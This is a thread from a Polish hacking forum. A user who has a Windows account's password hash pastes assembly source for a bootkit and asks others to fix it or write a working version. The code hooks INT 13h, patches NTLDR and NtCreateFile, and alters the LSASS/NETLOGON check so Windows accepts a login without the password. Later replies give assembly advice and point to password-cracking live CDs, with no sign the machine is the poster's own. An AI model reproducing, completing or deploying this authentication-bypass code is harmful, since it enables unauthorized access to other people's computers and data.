Pokaż wyniki 1 do 8 z 8

Temat: Windows - Pominięcie podawania hasła

  1. #1

    Domyślnie Windows - Pominięcie podawania hasła

    To mój pierwszy post na tym forum, więc witam wszystkich.
    Od tygodnia próbuję znaleść sposób na złamanie hasła do konta systemu Windows. Dostałem hash hasła, więc spróbowałem metody BruteForce (jest ona jednak stanowczo za długa). Próbowałem też przy pomocy tęczowych tablic, jednak jeden serwis nie działał, inny chciał aby zapłacić.

    Stwierdziłem więc, że poszukam rozwiązania bardziej uniwersalnego niż rozsyfrowywanie hash'y. Znalazłem ten oto artykuł.

    Przeczytałem cały, napisałem source code opisanego programu, po skompilowaniu zajmuje on 580 bajtów, a powinien 512. Nie jestem dobry z Assemblera, więc ciężko mi stwierdzić gdzie popełniłem błąd.

    Czy mógłby ktoś spojrzeć na to fachowym okiem ? Z góry wielkie dzięki

    Source:
    Kod:
    ; [1]
    TEMP_STACK equ 0x3000
    BOOTCODE_ADDR equ 0x4000-0x200
    MBR_ADDR equ 0x7C00
    INT13_ADDR equ 13h * 4
    [bits 16]
    [org BOOTCODE_ADDR]
    start:
    jmp 0:MBR_ADDR+5
    ; [2]
    mov cx, TEMP_STACK
    mov ss, cx
    xor cx, cx
    mov sp, cx
    mov ds, cx
    mov es, cx
    ; [3]
    pushad
    mov ax, 0201h
    inc ecx
    cwd
    mov bx, BOOTCODE_ADDR
    int 13h
    jmp _HOOK_INTERRUPT_GOTO_MBR - MBR_ADDR + BOOTCODE_ADDR
    _HOOK_INTERRUPT_GOTO_MBR:
    ; [4]
    mov ax, 0201h
    or dl, 10000000b
    mov bh, (MBR_ADDR>>8)
    int 13h
    ; [5]
    mov eax, [INT13_ADDR]
    mov [INT13HANDLER], eax
    mov dword [INT13_ADDR], @INT13HOOK_OFF
    ; [6]
    popad
    jmp MBR_ADDR
    
    NT_CREATE_FILE_HOOK_START equ $
    @NtCreateFileHook:
    pushfd
    pushad
    mov eax, [esp+030h]
    mov eax, [eax+8]
    cmp word [eax], 34
    jnz _LeaveTheHook
    mov edi, dword 0
    _DosStubHookAddr equ $-4
    add edi, _SearchedLsaString - NT_CREATE_FILE_HOOK_END
    mov esi, [eax+4]
    mov ecx, NT_CREATE_FILE_HOOK_END - _SearchedLsaString
    repe cmpsb
    test ecx, ecx
    jnz _LeaveTheHook
    push eax
    mov eax, CR0
    and eax, 0FFFEFFFFh
    mov CR0, eax
    pop eax
    mov word [077C699B9h], 9090h
    push eax
    mov eax, CR0
    or eax, 10000h
    mov CR0, eax
    pop eax
    mov eax, 0xC0DEC0DE
    _NtCreateFileSyscallAddrFirst equ $-4
    mov dword [eax], 08B55FF8Bh
    mov byte [eax+4], 0ECh
    _LeaveTheHook:
    popad
    popf
    push ebp
    mov ebp, esp
    push dword 0xDEADBEEF
    _NtCreateFileSyscallAddrSecond equ $-4
    add dword [esp], 5
    ret
    _SearchedLsaString db '\',0,'?',0,'?',0,'\',0,'P',0,'I',0,'P',0,'E',0,'\',0,'N',0,'E',0,'T',0,'L',0,'O',0,'G',0,'O',0,'N',0,0,0
    NT_CREATE_FILE_HOOK_END equ $
    
    GetExportedFuncAddr:
    xor eax, eax
    mov ecx, [ebx+3Ch] ; RVA of PE header
    mov ebp, [ebx+ecx+78h] ; RVA of export directory
    add ebp, ebx ; ptr to export directory
    xor ecx, ecx ; iterator
    mov edx, [ebp+1Ch] ; IMAGE_EXPORT_DIRECTORY::AddressOfFunctions
    mov edi, [ebp+20h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNames
    mov eax, [ebp+24h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNameOrdinals
    ; turn these values into VAs
    add edi, ebx
    add edx, ebx
    add eax, ebx
    @search_loop:
    mov esi, [edi+4*ecx] ; get the current function's name
    add esi, ebx ; and make a virtual address from it
    cmp ecx, [ebp+18h] ; check if there are no more functions exported
    jge _retloc
    inc ecx
    cmp dword [esi], 07243744eh ; "NtCr"
    jnz @search_loop
    cmp dword [esi+4], 065746165h ; "eate"
    jnz @search_loop
    cmp dword [esi+8], 0656c6946h ; "File"
    jnz @search_loop
    dec ecx ; ecx <--- function ID in export table
    movzx eax, word [eax+ecx*2] ; eax <--- function ordinal
    mov eax, dword [edx+eax*4] ; eax <--- function address
    add eax, ebx
    _retloc:
    ret
    
    @INT13HOOK_OFF equ $
    @Int13Hook:
    cli
    pushf
    cmp ah, 42h ; IBM/MS INT 13 Extensions - EXTENDED READ
    je short @Int13Hook_ReadRequest
    cmp ah, 02h ; DISK - READ SECTOR(S) INTO MEMORY
    je short @Int13Hook_ReadRequest
    popf
    db 0EAh ; JMP FAR INT13HANDLER
    INT13HANDLER EQU $
    dd 0
    @Int13Hook_ReadRequest:
    mov [cs:INT13LASTFUNCTION], ah
    ;
    ; Invoke original handler to perform read operation
    ;
    popf
    pushf ; push Flags because we're simulating an INT
    call far [cs:INT13HANDLER] ; call original handler
    jc short @Int13Hook_ret ; abort immediately if read failed
    pushf
    cli
    push es
    pusha
    ;
    ; Adjust registers to emulate an AH=02h read if AH=42h was used
    ;
    mov ah, 00h
    INT13LASTFUNCTION EQU $-1
    cmp ah, 42h
    jne short @Int13Hook_notextread
    lodsw
    lodsw ; 02h WORD number of blocks to transfer
    les bx, [si] ; 04h DWORD transfer buffer
    @Int13Hook_notextread:
    ;
    ; Scan sector for a signature of the code we want to modify
    ;
    test al, al
    jle short @Int13Hook_scan_done
    cld
    mov cl, al
    mov al, 8Bh
    shl cx, 9 ; (AL * 200h)
    mov di, bx
    @Int13Hook_scan_loop:
    ; 8B F0 MOV ESI, EAX
    ; 85 F6 TEST ESI, ESI
    ; 74 21 JZ $+23h
    ; 80 3D ... CMP BYTE PTR [ofs32], imm8
    ; (the first 6 bytes of this signature exist in other modules!)
    repne scasb
    jne short @Int13Hook_scan_done
    ; NOTE!
    ; The patched NTLDR code is placed at 0x422a6f
    ; on the up-to-date Windows XP SP2 version.
    cmp dword [es:di], 74F685F0h
    jne short @Int13Hook_scan_loop
    cmp word [es:di+4], 8021h
    jne short @Int13Hook_scan_loop
    mov word [es:di-1], 15FFh ; FFh/15h: CALL NEAR [ofs32]
    mov dword [es:di+1], @SyscallHookAddr
    @Int13Hook_scan_done:
    popa
    pop es
    popf
    @Int13Hook_ret:
    retf 2 ; discard saved Flags from original INT (pass back CF, etc.)
    
    @SyscallHookAddr dd @HookSyscall
    @HookSyscall:
    pushfd
    pushad
    cld
    mov edi, [esp+24h]
    and edi, 0FFF00000h
    mov al, 0C7h
    @PatchFunction_mlsigloop:
    scasb
    jne short @PatchFunction_mlsigloop
    cmp dword [edi], 40003446h
    jne short @PatchFunction_mlsigloop
    mov al, 0A1h
    @PatchFunction_mlbaseloop:
    scasb
    jne short @PatchFunction_mlbaseloop
    mov esi, [edi]
    mov esi, [esi]
    lodsd
    mov ebx, [eax+18h]
    call GetExportedFuncAddr
    mov dword [_NtCreateFileSyscallAddrFirst], eax
    mov dword [_NtCreateFileSyscallAddrSecond], eax
    add ebx, 40h
    mov dword [_DosStubHookAddr] , ebx
    mov byte [eax], 0E9h
    inc eax
    mov ecx, eax
    neg ecx
    lea edx, [ebx+ecx-5+1]
    mov dword [eax], edx
    mov edi, ebx ; edi
    mov esi, NT_CREATE_FILE_HOOK_START
    mov ecx, NT_CREATE_FILE_HOOK_END - NT_CREATE_FILE_HOOK_START
    rep movsb
    popad
    popf
    mov esi, eax
    test eax, eax
    jnz _no_cond_jmp
    _cond_jmp:
    add dword [esp], 21h
    _no_cond_jmp:
    Ret

  2. #2

    Domyślnie

    jak odwolujesz sie do pamieci uzywaj prefixow segmektowych.

    x86 dal dziala i nic z tym nie zrobisz.

    mov eax,[ds:0x1234]


    nie uzywaj pushad/popad. bo nie.

    jak deklarujesz stringi utf16 uzywaj du a nie db.

    nie uzywaj rep** ***. przezytek, lepiej petelka. czyli lodsw, cmpsb i cala reszta 'tego'.


    powinienes dbac o alignment jak kopiujesz hookproca:

    align XX
    start:
    ...
    align XX
    end:


    XX to tryb w jakim dziala cpu obslugujac ten kod.




    cmp dword [esi+8], 0656c6946h ; "File"


    hmmm.... rozumiem ze ciezko o basolutny adres w hookprocu, ale nie powienes tak robic.

    niech hookproc wyglada tak:
    kod + dane
    reloc

    reloc zawiera adresy wszsytkich bezwzglednych adresow (nie instrukcji) do ktorych dodajesz base po zaladowaniu. poczatkowo te adresy powinny zawieracrva wzgledem pocztaku hookproca.
    po zaladowaniu dodajesz adres pod jaki trafily i mozesz sie do nich odwolac.


    zdecyduj sie piszesz 0x1234 czy 01234h.

  3. #3

    Domyślnie

    Dziękuję za wszystkie porady. Jednak programować potrafię niestety, tylko w językach wysokiego poziomu jak C++, C# lub VB. Jak tylko znajdę troszkę czasu, to zacznę przerabiać jakiś kurs Assemblera. Zajmie mi to jednak pewnie dość sporo czasu, nawet przy dobrej znajomości innych języków. Więc to o co teraz poprosze może się wydać 'troche' lamerskie, ale czy mógłby ktoś poprawić mi ten kod ? Albo w ogóle napisać podobny program...
    Byłbym wdzięczny, tym bardziej że w tym przypadku liczy się każdy dzień.
    PS. Spróbuję jeszcze rozdzielić pracę BruteForce po 8 godzin i puszczać na noc.

  4. #4

    Domyślnie

    powiedz mi co ten kod ma robic, to *MOZE* ci napisze inny dzialajacy.

  5. #5

    Domyślnie

    Więc tak:
    zadaniem tego kodu jest, aby wykorzystując luki zaistniałe faktem jeszcze nie w pełni wczytanego systemu, przejąć kontrolnę nad odpowiednimi procesami. Głównym celem jest proces LSASS odpowiedzialny za zabezpieczenia Windows.

    Dokładny opis znajduje się pod TYM adresem.

    Tu nawet nie trzeba zbytnio niczego samemu wymyślać, tylko złożyć już to co jest zawarte w tych fragmentach... (i właśnie tutaj mam problem, bo nie zadobrze orientuje się w kodzie Assemblera)

  6. #6
    Zarejestrowany
    Jul 2007
    Skąd
    UK
    Postów
    360

    Domyślnie

    O ile chodzi Ci tylko o ominieci hasla sciagnij gotowe iso i po problemie.
    Ostatnio edytowane przez bemyself : 01-09-2010 - 14:53
    Atheros? - nanzwa mhata yangu

  7. #7

    Domyślnie

    Problem w tym, że wszędzie na forach, albo nikt nie udziela takiej pomocy, albo są porponowane sposoby na usunięcie hasła. Gdybym chciał je usunąć to zrobiłbym to już dawno. A ja chcę wejść do systemu bez usuwania tego hasła. Jeżeli ktoś znalazł taki plik iso gdzieś w internecie, to bardzo proszę o podanie linku. (ew. napisanie tego kodu w Asseblerze)
    Ostatnio edytowane przez paurin : 01-09-2010 - 16:48

  8. #8

    Domyślnie

    jka nie możesz tak to poprostu wrzuć livecd
    http://ophcrack.sourceforge.net/

Podobne wątki

  1. Odpowiedzi: 18
    Autor: 12-05-2009, 22:18
  2. Łamanie hasła phpBB. Mając hasła na panel administracyjny.
    By ONAA in forum Newbie - dla początkujących!
    Odpowiedzi: 10
    Autor: 02-06-2009, 18:46
  3. hasła
    By ciekawostka in forum Hardware Hacking
    Odpowiedzi: 3
    Autor: 01-22-2009, 15:05
  4. Odpowiedzi: 3
    Autor: 09-09-2007, 15:39
  5. Hasła
    By Michal_sh in forum Hacking
    Odpowiedzi: 18
    Autor: 08-06-2007, 00:19

Tagi

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj